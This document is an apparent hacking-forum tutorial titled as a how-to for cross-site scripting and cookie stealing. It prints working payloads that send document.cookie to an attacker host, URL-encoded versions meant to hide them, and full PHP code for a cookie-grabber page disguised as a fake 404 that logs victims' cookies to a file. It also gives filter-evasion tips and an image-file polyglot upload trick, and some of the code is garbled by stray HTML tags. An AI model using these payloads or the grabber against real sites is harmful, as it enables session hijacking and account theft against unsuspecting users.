Cross Site Scripting

[How to]Cross Site Scripting and cookie stealing
## Title: What is the Cross Site Scripting attack and how to use the cookie stealing attack.
## Written by: Hacking-tool
## for more info comment

In the film we see the usual guy with dark glasses and leather jacket, hacking at the keyboard, in less than a minute he has the access codes of a login system. Science fiction? No, all true!

There are various ways to attack a website. I list a few:
-XSS stands for cross-site scripting
-SQL-Injection, Injection of SQL commands in a site
-Blind Sql-Injection
-RFI or Remote File Inclusion
-LFI, Local File Inclusion
-DOS, short for Denial of Service
-DDoS, Distributed Denial of Service
-Format-string attacks

What is an XSS:
Unlike sql injection and other attacks on web applications, are vulnerable to this attack dynamic sites and not. The attack can be accomplished on any site that presents the use of JavaScript, VBScript, ActiveX, HTML and Flash. For those unfamiliar with these languages, just think that it's languages and applications that run directly from your Web browser (Internet Explorer, Netscape, Mozilla Firefox, Google Chrome, etc..). Then is a vulnerability that affects web sites with low control of variables. The XSS allows you to insert code to the browser level (often JavaScript code, but also php, html, etc.) in order to modify the source code of the webpage. Then, is possible of implementation, when a website takes as input data on which performs the operations (such as the internal search engine of the site but not only). This information is usually sent to the site via URL with a HTTP post method. These data, in non-secure sites, are displayed as they were posted by users. In this way anyone can get hold of sensitive data, such as cookies.
To do this we need only redirect our victim in a web page with the properly modified variables.
A very important thing to say is that there are two types of XSS:

Stored: in which an attacker is able to permanently modify the content of a web page, for example by entering a comment appropriately prepared for a post in a blog.
Reflected: thanks to which it is possible to produce a URL that uses the vulnerable site will alter the content of the pages so not permanent and only for HTTP requests that use URLs such specially forged.
This vulnerability is due to errors of programmers, who often neglect completely the validation of input information passed with HTTP requests.

The XSS exploit the operation of parameters badly declared:
Take for example this page in php:

Code:

<? / la variabile in esame è c
$var = $_GET ['c'];
echo $var;
?>

I said precisely that 'c' is a variable that is set up and printed on the page.
In URL level if we give the value 'hola' to this variable we will get:

Code:

http://www.site.it/test.php?c=hola

In the written page, then we find text: hola
From this we can understand that whatever value we give to c, this will be printed on the page.. and until they are words and numbers I would say everything is fine.. But if we will inject evil javascript code? Just think what would happen..
When an attacker run his code in the browser, the code will run in the security-context (or zone) for hosting the website. With this level of privilege, the code has the ability to read, edit and transmit sensitive data accessible from any browser.

A user may be vulnerable to XSS could be his account stolen (stealing cookies), his browser may be redirected elsewhere or possibly have a fraud of their data through the website they are visiting. Essentially, an XSS attack undermines the "trust" between a user and the website in question.

There are two types of cross-site scripting attacks: persistent attacks and attacks not persistent.

The non-persistent attacks require a user visits a specially modified link with malicious code. Once the link is accessed, the malicious code will run inside the browser.
The persistent attacks have malicious code in web pages that are hosted online for a period of time.
Examples of favorite target of malicious users is the post in web mail, web chat, etc.The user who is unaware of everything does not have to click on a link in particular but simply visit the web page message containing malicious code.

Structure XSS:
I would say that now there is one thing for sure: you must to have basic knowledge of html, js, etc to exploit this type of attack.

A typical attack, base, and known by all is the string:

Code:


<script>alert("XSS")</script>

analyze it:
 
<script>: opening code in javascript with the various commands;
 
alert: brings up a message alert (for who does'nt know it is a simple TextBox);
 
("XSS"): is the string that is displayed inside of Alert, do not have to be text, but also numbers (in this case it is not necessary the use of "")
 
</script>: javascript code closed;

Now we analyze this string:

Code:

<script>alert(document.cookie)</script>

 
<script> opening code in javascript with the various commands;

alert: pops up an alert

(document.cookie) instead of showing a string of text will display an alert with your cookie.

Filters:
The web master take defense very easy to overcome at times, others more complicated, and here comes the fun because it takes the imagination of each one of us to bring the so much desired alert!
These defenses are called "filters", or codes prohibiting the use of special characters. For someone less experienced may be considered completely solved, but not so! Take for example this filter:

Code:

<?
$var = $_GET ['c'];
$var = str_replace ("<script>", "script", $var);
echo $var;
?>

This will block the use of <script> and </ script>, but we should not necessarily use these.
There are various types of filters, one of which is the addslashes filter, which will place a apex before each slash (the "/") making it useless to our code. This is the structure of the filter:

Code:

<?
function addslashes ($var){
$var = str_replace ('"', '\"', $var);
$var = str_replace ("'", "\'", $var);
return $var;
}
?>

That would be inserted into a php page:

Code:

<?
$var = $_GET ['var'];
$var = addslashes ($var);
echo $var;
?>

Now you may ask. This as we overcome as we can not put any tip? A simple method would be to convert our code to ASCII.
A great site for other fantastic and ingenious XSS is: http://www.ha.ckers.org/xss.html
Now we have seen a series of commands, all harmless at first, but imagine if instead of Alert we redirect the webpage to a cookie grabber? Soon also will explain what is a cookie, how to apply it and what is the technique of cookie grabbing. continue ...

Persistent attacks:
Many web sites have message boards, tagboards, and more where you can leave one or more messages. A registered user is usually identified with a session ID cookie, so he can leave a message and be identified. If we inject malicious JavaScript code as a message, for example, we could also compromise the cookie who will read the message.
This is possible in case where the site/forum is vulnerable to XSS and injecting the command as a message visible to all:

Code:

<SCRIPT> document.location=‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie </SCRIPT>

This we have just mentioned is a typical example of a persistent attack ..

Non-persistent attacks:
Some sites offer a view instead of customizable web, for example, when we carry out a site login and receive a welcome message can display some data in the URL, then visible to all. In the URL might read something like this:

Code:

http://site.example/index.php?sessionid=12345678&username=yourname

if a malicious user might have modified the URL properly, inserting JS code capable of stealing cookies, you may take control of an account, obviously masking the code like this:

Code:

http://site.example/index.php?sessionid=12345678&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Cookie Grabbing:
Technique of cookie grabbing.. What is it and how does it apply?
This technique is applicable at sites vulnerable to cross site scripting .. This vulnerability allows execution of arbitrary JavaScript code on the web application also allows the execution of malicious scripts acts to grabbing (take) cookies from the site itself...

Example of malicious JavaScript code could be:

Code:

<script language="JavaScript"> window.location="http://www.sitomio.net/logs.php?cooked="+document.cookie </script></span></p> <span style="color: #000000;">

What would be the url:

Code:

http://www.vulnerablesite.net?Keywords=%3Cscript+language%3D%22JavaScript%22%3E+window. ​ location%3D%22http%3A%2F%2Fwww.mysite.net%2Flogs.php%3Fcooked%3D%22%2Bdocument.c ​ookie+%3C%2Fscript%3E

What happens? We read http://www.vulnerablesite.net is the site vulnerable to XSS, keywords is the variable vulnerable and http://www.mysite.net is where the vulnerable site is redirect to grabbing the cookies, exactly in logs.php files that we create:

Code:

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<?php
$capo = "</span><br /><span style="color: #000000;"> ";
$_GET['data'] = $data; //prende ciò che sta dopo "data" nell'url e lo mette nella variabile "data"
$fh = fopen("cookies.txt",'a+'); //setta in "fh" le condizioni per aprire il file cookies.txt
fwrite($fh, "$data"); //apre il file cookies.txt o lo crea se non esiste e ci scrive la variabile "data"
fwrite($fh, "$capo");//va a capo
fclose($fh); //chiude il file
?>
<p>The requested URL was not found on this server.</p>
</body>
</html>

As you can see, all processes are hidden, and when the page simply we will display "The requested URL was not found on this server", pretending a fake 404 not found, and in the cookie.txt will be saved all cookies of victims.

Upload XSS:
Here's another neat trick to exploit the XSS: D

We open a picture .gif with our beloved notepad and delete everything that is inside and edit it for example with this:

Code:

GIF89a<script>alert(“XSS”)</script>

Close, save and upload the file, is will appear your alert!

Here's what to put before the script to make sure that the image remains in its extension:

-PNG = ‰PNG
-GIF = GIF89a
-JPG = ÿØÿà JFIF
-BMP = BMFÖ

As you can see we used GIF89 before the string to get the iimagine extension. Gif